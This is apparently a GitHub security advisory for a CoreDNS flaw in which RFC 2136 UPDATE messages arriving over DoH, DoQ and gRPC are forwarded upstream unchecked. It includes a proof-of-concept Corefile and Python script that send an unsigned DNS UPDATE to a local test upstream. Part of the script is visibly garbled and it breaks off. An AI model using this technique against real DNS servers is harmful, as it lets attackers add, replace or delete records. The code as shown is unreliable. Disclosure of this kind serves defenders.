GitHub Advisoryadvisory · Go
GHSA-9gm5-9rfh-m6vx CoreDNS DoH/DoQ/gRPC bypass UPDATE rejection enforced on UDP/TCP
HIGH
Official page ↗
- Aliases
- CVE-2026-86003
- Ecosystem
- Go
- Packages
- github.com/coredns/coredns
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
- Weaknesses
- CWE-441
- Reviewed
- 2026-09-17
Affected packages
• Go github.com/coredns/coredns: < 1.14.7 → fixed in 1.14.7
Description
Summary
CoreDNS accepted RFC 2136 UPDATE messages over DoH, DoH3, DoQ, and DNS-over-gRPC, then allowed the `proxy`/`forward` plugin to send them unchanged to an upstream DNS server. UDP, TCP, and DoT rejected the same opcode before plugin dispatch.
If an update-capable upstream trusts CoreDNS's source address or authenticated connection instead of requiring end-to-end TSIG, an unauthenticated client can use CoreDNS to add, replace, or delete DNS records.
Details
The affected listeners called `dns.Msg.Unpack` without the request policy used by the UDP/TCP server:
• DoH and DoH3
• DoQ
• DNS-over-gRPC
CoreDNS routed the message using its Zone question without checking the opcode. `forward` then passed the original message to the upstream.
By contrast, `dns.DefaultMsgAcceptFunc` allows only QUERY and NOTIFY. The fix applies that policy to the raw header via `dnsutil.UnpackRequest` before any affected transport dispatches the request.
PoC
The reproducer starts a standard-library synthetic DNS upstream on loopback, sends an unsigned UPDATE over DoH, and reports whether the upstream received the record. It supports both UDP and TCP because the `forward` plugin may select either transport. It does not contact or modify a real authoritative server.
Clone the repository and build the server:
```bash
git clone [email protected]:coredns/coredns.git
cd coredns
git checkout d5e54040ffab9a5c12c6de27b66f59f62b385195 # latest pre-fix commit from main
go build -tags=grpcnotrace -o coredns .
```
Save this as `Corefile.poc`:
```text
https://.:8053 {
bind 127.0.0.1
tls plugin/tls/test_cert.pem plugin/tls/test_key.pem
forward . 127.0.0.1:15354
}
```
Save this as `poc.py`:
```python
!/usr/bin/env python3
import argparse
import http.client
import queue
import socket
import ssl
import struct
import threading
OPCODE_UPDATE = 5
TYPE_A = 1
CLASS_IN = 1
def encode_name(name):
return b"".join(bytes((len(label),)) + label.encode() for label in name.rstrip(".").split(".")) + b"\x00"
def update_message():
zone = encode_name("example.com.") + struct.pack("!HH", 6, CLASS_IN)
update = (
encode_name("foo.example.com.")
+ struct.pack("!HHIH", TYPE_A, CLASS_IN, 300, 4)
+ socket.inet_aton("192.0.2.123")
)
header = struct.pack("!HHHHHH", 0x1234, OPCODE_UPDATE = len(message) or offset in seen:
raise ValueError("invalid DNS name")
seen.add(offset)
length = message[offset]
if length & 0xC0 == 0xC0:
if offset + 1 >= len(message):
raise ValueError("truncated compression pointer")
if end is None:
end = offset + 2
offset = ((length & 0x3F) len(message):
raise ValueError("invalid DNS label")
labels.append(message[offset : offset + length].decode("ascii"))
offset += length
def question_end(message, count):
offset = 12
for _ in range(count):
_, offset = read_name(message, offset)
offset += 4
if offset > len(message):
raise ValueError("truncated question")
return offset
def parse_update(message):
_, flags, qdcount, _, nscount, _ = struct.unpack_from("!HHHHHH", message)
if (flags >> 11) & 0xF != OPCODE_UPDATE or qdcount != 1 or nscount < 1:
return None
offset = question_end(message, qdcount)
name, offset = read_name(message, offset)
rrtype, rrclass, ttl, rdlength = struct.unpack_from("!HHIH", message, offset)
offset += 10
rdata = message[offset : offset + rdlength]
if rrtype != TYPE_A or rrclass != CLASS_IN or len(rdata) != 4:
return None
return name, ttl, socket.inet_ntoa(rdata)
def response_for(message):
ident, flags, qdcount, _, _, _ = struct.unpack_from("!HHHHHH", message)
end = question_end(message, qdcount)
response_flags = flags | 0x8000
return struct.pack("!HHHHHH", ident, response_flags, qdcount, 0, 0, 0) + message[12:end]
def handle_message(message, peer, received):
try:
update = parse_update(message)
response = response_for(message)
except (ValueError, struct.error):
return None
if update is not None:
received.put((peer, update))
return response
def serve_udp(sock, received, stopped):
while not stopped.is_set():
try:
message, peer = sock.recvfrom(65535)
except socket.timeout:
continue
except OSError:
return
response = handle_message(message, peer, received)
if response is not None:
sock.sendto(response, peer)
def recv_exact(connection, size, stopped):
data = bytearray()
while len(data) < size and not stopped.is_set():
try:
chunk = connection.recv(size - len(data))
except socket.timeout:
continue
if not chunk:
return None
data.extend(chunk)
return bytes(data) if len(data) == size else None
def serve_tcp(sock, received, stopped):
while not stopped.is_set():
try:
connection, peer = sock.accept()
except socket.timeout:
continue
except OSError:
return
with connection:
connection.settimeout(0.1)
while not stopped.is_set():
length = recv_exact(connection, 2, stopped)
if length is None:
break
message = recv_exact(connection, struct.unpack("!H", length)[0], stopped)
if message is None:
break
response = handle_message(message, peer, received)
if response is not None:
connection.sendall(struct.pack("!H", len(response)) + response)
def send_doh(host, port, payload, timeout):
context = ssl._create_unverified_context()
connection = http.client.HTTPSConnection(host, port, timeout=timeout, context=context)
try:
connection.request(
"POST",
"/dns-query",
body=payload,
headers={"Content-Type": "application/dns-message"},
)
response = connection.getresponse()
body = response.read()
return response.status, len(body)
finally:
connection.close()
def main():
parser = argparse.ArgumentParser(description="Probe whether CoreDNS forwards RFC 2136 UPDATE over DoH")
parser.add_argument("--host", default="127.0.0.1")
parser.add_argument("--port", type=int, default=8053)
parser.add_argument("--upstream-host", default="127.0.0.1")
parser.add_argument("--upstream-port", type=int, default=15354)
parser.add_argument("--timeout", type=float, default=2.0)
parser.add_argument("--expect",…
Related
Alias · CVE (1)
- CVE-2026-86003 CoreDNS is a DNS server written in Go. vulnerability
Weakness · CWE (1)
- CWE-441 Unintended Proxy or Intermediary weakness
References
- https://github.com/coredns/coredns/security/advisories/GHSA-9gm5-9rfh-m6vx web
- https://nvd.nist.gov/vuln/detail/CVE-2026-86003 advisory
- https://github.com/coredns/coredns/commit/530b0a5ff2ad68cc0421f10dd93568945cc671c9 web
- https://github.com/coredns/coredns package
- https://github.com/coredns/coredns/releases/tag/v1.14.7 web